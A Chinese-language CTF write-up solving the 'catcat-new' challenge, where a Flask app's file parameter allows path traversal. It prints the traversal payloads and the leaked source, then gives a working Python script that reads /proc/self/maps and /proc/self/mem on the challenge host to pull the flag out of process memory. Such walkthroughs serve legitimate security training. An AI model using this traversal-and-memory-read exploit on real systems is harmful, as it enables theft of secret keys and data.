【网络安全/CTF】catcat-new

简介: 【网络安全/CTF】catcat-new

该题考察文件包含漏洞

正文

看到file参数,考虑文件读取

读取当前进程的命令行参数

?file=../../../../proc/self/cmdline

读取app.py:

b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)'

格式化:

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
# 初始化变量
flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
# 设置 Flask 的密钥
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
# 检查是否存在标志文件,并读取标志内容
if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")
# 主页路由
@app.route('/', methods=['GET'])
def index():
    # 获取 details 文件夹下的文件名列表
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        # 提取文件名中的猫名并添加到列表中
        cats_list.append(i[:i.index('.')])
    # 渲染主页模板,传递猫名列表和 cat 函数给模板
    return render_template("index.html", cats_list=cats_list, cat=cat)
# 详情页路由
@app.route('/info', methods=["GET", 'POST'])
def info():
    # 获取请求参数
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
    # 渲染详情页模板,传递猫名、详情信息给模板
    return render_template("detail.html", catname=name, info=cat(filename, start, end))
# 管理员权限路由
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    # 检查是否具有管理员权限
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"
# 启动 Flask 应用
if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

关键在于:

if session.get('admin') == 1:
        return flag

也就是说当session为admin时,即可得到flag

所以我们需要伪造session为admin

而session伪造的必要条件是获取SECRET_KEY读取

读取/proc/self/maps获得当前应用运行的内存映射信息:

读取cat.py

格式化:

import os, sys, getopt
# 定义一个函数,用于读取指定文件的部分内容
def cat(filename, start=0, end=0) -> bytes:
    data = b''
    try:
        start = int(start)
        end = int(end)
    except:
        start = 0
        end = 0
    # 检查文件是否存在并可读
    if filename != "" and os.access(filename, os.R_OK):
        f = open(filename, "rb")
        if start >= 0:
            f.seek(start)
            if end >= start and end != 0:
                data = f.read(end - start)
        else:
            data = f.read()
        f.close()
    else:
        data = ("File `%s` not exist or cannot be read" % filename).encode()
    return data
if __name__ == '__main__':
    # 解析命令行参数
    opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end='])
    fileName = ""
    start = 0
    end = 0
    for opt_name, opt_value in opts:
        if opt_name == '-h' or opt_name == '--help':
            # 打印帮助信息
            print("[*] Help")
            print("-f --file File name")
            print("-s --start Start position")
            print("-e --end End position")
            print("[*] Example of reading /etc/passwd")
            print("python3 cat.py -f /etc/passwd")
            print("python3 cat.py --file /etc/passwd")
            print("python3 cat.py -f /etc/passwd -s 1")
            print("python3 cat.py -f /etc/passwd -e 5")
            print("python3 cat.py -f /etc/passwd -s 1 -e 5")
            exit()
        elif opt_name == '-f' or opt_name == '--file':
            # 获取文件名参数
            fileName = opt_value
        elif opt_name == '-s' or opt_name == '--start':
            # 获取起始位置参数
            start = opt_value
        elif opt_name == '-e' or opt_name == '--end':
            # 获取结束位置参数
            end = opt_value
    if fileName != "":
        # 调用 cat 函数并打印结果
        print(cat(fileName, start, end))
    else:
        print("No file to read")

其中

if start >= 0:
  f.seek(start)
  if end >= start and end != 0:
    data = f.read(end-start)

用于读取start到end地址间的数据

我们已经读取了/proc/self/maps获得了应用运行的内存映射信息,接下来的思路就是:读取/proc/self/mem获得当前内存的详细信息,由于在app.py的info()方法从HTTP请求中接收了start和end参数,即可传参,从而读取任意文件中任意两个地址之间的数据,最后使用正则表达式匹配字符串\w+{\w+}直接获取flag

脚本如下:

import requests
import re
baseUrl = "http://61.147.171.105:64383/info?file=../../../../.."
if __name__ == "__main__":
    url = baseUrl + "/proc/self/maps"
    # 发送 HTTP 请求并获取响应文本,然后按换行符进行分割
    memInfoList = requests.get(url).text.split("\\n")
    mem = ""
    for i in memInfoList:
        # 使用正则表达式匹配内存地址信息
        memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
        if memAddress:
            # 将匹配到的内存地址转换为十六进制数
            start = int(memAddress.group(1), 16)
            end = int(memAddress.group(2), 16)
            # 构造新的 URL,用于获取特定内存片段的内容
            infoUrl = baseUrl + "/proc/self/mem&start=" + str(start) + "&end=" + str(end)
            # 发送 HTTP 请求并获取响应文本
            mem = requests.get(infoUrl).text
            # 如果响应文本中包含形如 "{xxx}" 的字符串,则打印出来
            if re.findall(r"{[\w]+}", mem):
                print(re.findall(r"\w+{\w+}", mem))

结果如下:

得到flag

catctf{Catch_the_c4t_HaHa}
目录
相关文章
|
7月前
|
网络安全 数据安全/隐私保护 Python
[网络安全/CTF]护网杯 2018 easy_tornado 解题详析(Tornado之SSTI注入)
[网络安全/CTF]护网杯 2018 easy_tornado 解题详析(Tornado之SSTI注入)
137 0
|
6月前
|
存储 网络协议 数据建模
程序与技术分享:2021年第一届“东软杯”网络安全CTF竞赛
程序与技术分享:2021年第一届“东软杯”网络安全CTF竞赛
|
6月前
|
安全 网络安全 数据安全/隐私保护
CTF竞赛:一场网络安全技术的盛宴
CTF竞赛:一场网络安全技术的盛宴
193 0
|
7月前
|
JSON 算法 网络安全
【网络安全/CTF】easyphp 江苏工匠杯
【网络安全/CTF】easyphp 江苏工匠杯
127 0
【网络安全/CTF】easyphp 江苏工匠杯
|
7月前
|
存储 Linux 网络安全
【网络安全/CTF】unseping 江苏工匠杯
【网络安全/CTF】unseping 江苏工匠杯
101 0
【网络安全/CTF】unseping 江苏工匠杯
|
7月前
|
网络安全
【网络安全 | CTF】pure_color
【网络安全 | CTF】pure_color
56 0
|
7月前
|
网络安全 Windows
【网络安全 | CTF】心仪的公司 世安杯
【网络安全 | CTF】心仪的公司 世安杯
92 0
|
7月前
|
SQL 网络安全 PHP
【网络安全 | CTF】FlatScience
【网络安全 | CTF】FlatScience
52 0
|
7月前
|
网络安全 PHP 数据安全/隐私保护
[网络安全/CTF] 记一次PHP序列化反序列化解题详析
[网络安全/CTF] 记一次PHP序列化反序列化解题详析
114 5
|
5天前
|
SQL 安全 网络安全
网络安全与信息安全:知识分享####
【10月更文挑战第21天】 随着数字化时代的快速发展,网络安全和信息安全已成为个人和企业不可忽视的关键问题。本文将探讨网络安全漏洞、加密技术以及安全意识的重要性,并提供一些实用的建议,帮助读者提高自身的网络安全防护能力。 ####
42 17
下一篇
DataWorks